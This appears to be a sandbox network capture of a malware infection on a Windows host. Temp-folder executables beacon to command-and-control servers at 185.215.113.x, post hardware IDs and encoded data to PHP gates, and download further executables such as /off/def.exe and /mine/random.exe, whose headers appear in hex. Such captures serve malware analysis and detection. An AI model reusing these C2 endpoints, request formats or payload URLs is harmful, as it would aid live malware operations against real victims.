Oct 30, 2024 04:35:53.210938931 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 04:35:54.052947998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50017	34.107.221.82	80	3452	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:54.991282940 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 04:35:55.586530924 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 49898 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	50021	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:55.830085993 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 30, 2024 04:35:56.744693041 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50023	185.215.113.206	80	5972	C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:56.166457891 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 04:35:57.066345930 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:35:57.072906971 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 46 39 31 35 41 35 38 37 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 2d 2d 0d 0a Data Ascii: ------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="hwid"56F915A587C62507286958------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="build"tale------DGCFHIDAKECFHIEBFCGI--
Oct 30, 2024 04:35:57.356467009 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50027	34.107.221.82	80	3452	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:57.737598896 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 04:35:58.342252016 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 40827 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 04:35:59.225781918 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 04:35:59.352153063 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 40828 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 04:36:09.352790117 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50029	34.107.221.82	80	3452	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:57.858856916 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 04:35:58.449959993 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 49901 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 04:36:08.462173939 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50030	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:58.405179024 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 04:35:59.317030907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50033	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:00.996480942 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 30, 2024 04:36:01.902101994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50035	185.215.113.16	80	4684	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:02.409126997 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 04:36:03.328707933 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:36:03 GMT Content-Type: application/octet-stream Content-Length: 2899456 Last-Modified: Wed, 30 Oct 2024 03:12:16 GMT Connection: keep-alive ETag: "6721a410-2c3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,A,`Ui` @ @.rsrc`2@.idata 8@mljriapp++:@mudtavgt ,,@.taggant@,",@
Oct 30, 2024 04:36:03.328732967 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:36:03.328800917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:36:03.328824043 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:36:03.328840017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:36:03.328855038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:36:03.328871012 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:36:03.328888893 CET	1060	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:36:03.328905106 CET	1236	IN	Data Raw: 0f cc d3 a9 f6 24 8a 7f 1f 92 3e 4a 5b 6a 6e 79 97 5d 41 45 4d 8c 4b 43 5d 62 05 5c 5f 55 5e 89 c5 60 5a a1 a9 79 6d 3f 3b 73 4b da 87 3c 5c 6e df 6d 45 c4 b5 0c 84 49 4f ba 5c 90 15 4d f2 5c ca 5b 3b 65 46 58 43 4b 51 57 5e 58 62 88 53 4d 30 ac Data Ascii: $>J[jny]AEMKC]b\_U^`Zym?;sK<\nmEIO\M\[;eFXCKQW^XbSM0_Z;yI1`wkW#NfFDAHyTQxzq\|\bL(DU[`DPUYZdlW?UEsXKiZL_V`UuTy}2N)O:T\UX:oObR[@$OA8PQPTyz
Oct 30, 2024 04:36:03.328953981 CET	1236	IN	Data Raw: ed bb 9c 8c f2 4e da 07 62 58 a4 89 8b b7 64 b7 bd 9f b4 7d af f4 be c3 89 7b c0 60 bb 7c f8 e3 44 d7 51 11 62 db 70 8a cb 6c d8 d7 d3 13 e1 ab db 7e e8 c9 06 73 c8 60 0b 58 f0 9a a3 ff c2 20 5c 07 73 07 51 0f 8d ef ff d1 8c 13 54 b2 4d 17 3c 2e Data Ascii: NbXd}{`\|DQbpl~s`X \sQTM<.Mj$ )/!?xCE(I0yso8ZfIeskWMbYuMr;zrc`XIMO4`JDNla_BhYJ8FjPLJoYf@rRv[koPHFVypKB
Oct 30, 2024 04:36:03.334254980 CET	1236	IN	Data Raw: 4f d4 86 4e dc b2 39 5d 6b 6d 99 20 9c 5b b8 99 41 be d5 ab 5b 4b c2 ab ac ae b4 e4 d3 68 b0 78 5d b2 a8 92 52 25 f9 8a c9 08 7e db 0e 41 ff e9 39 77 58 59 99 2a 31 c7 09 69 12 9a 6d 82 52 4c 8a ad 49 bd e1 51 8c 55 9d 9a 9c 26 66 20 b9 52 c7 00 Data Ascii: ON9]km [A[Khx]R%~A9wXY*1imRLIQU&f R0dhle}8QbKe~:eVceF~8co{u^f$?X/ifOBmMNZQbKQ#X]`RHJUIt"y\PWJJa:!+
Oct 30, 2024 04:36:09.654422045 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 04:36:09.937727928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:36:09 GMT Content-Type: application/octet-stream Content-Length: 1873408 Last-Modified: Wed, 30 Oct 2024 03:11:30 GMT Connection: keep-alive ETag: "6721a3e2-1c9600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf`J@Ja@Wk$JJIJ @.rsrc@.idata @ *@lltvbtub0\|@makelupgPJp@.taggant0`J"t@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50036	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:03.531383038 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 04:36:04.454179049 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	50037	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:05.968616009 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 30, 2024 04:36:06.873725891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	50038	185.215.113.206	80	4228	C:\Users\user\AppData\Local\Temp\1002530001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:08.089437962 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 04:36:08.996427059 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:36:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:36:09.005004883 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKKEGIDBGHIDGDHDBFH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 46 39 31 35 41 35 38 37 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 2d 2d 0d 0a Data Ascii: ------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="hwid"56F915A587C62507286958------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="build"tale------BKKKEGIDBGHIDGDHDBFH--
Oct 30, 2024 04:36:09.290045023 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:36:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	50039	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:08.502054930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 04:36:09.410836935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	50040	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:10.951149940 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 30, 2024 04:36:11.865943909 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

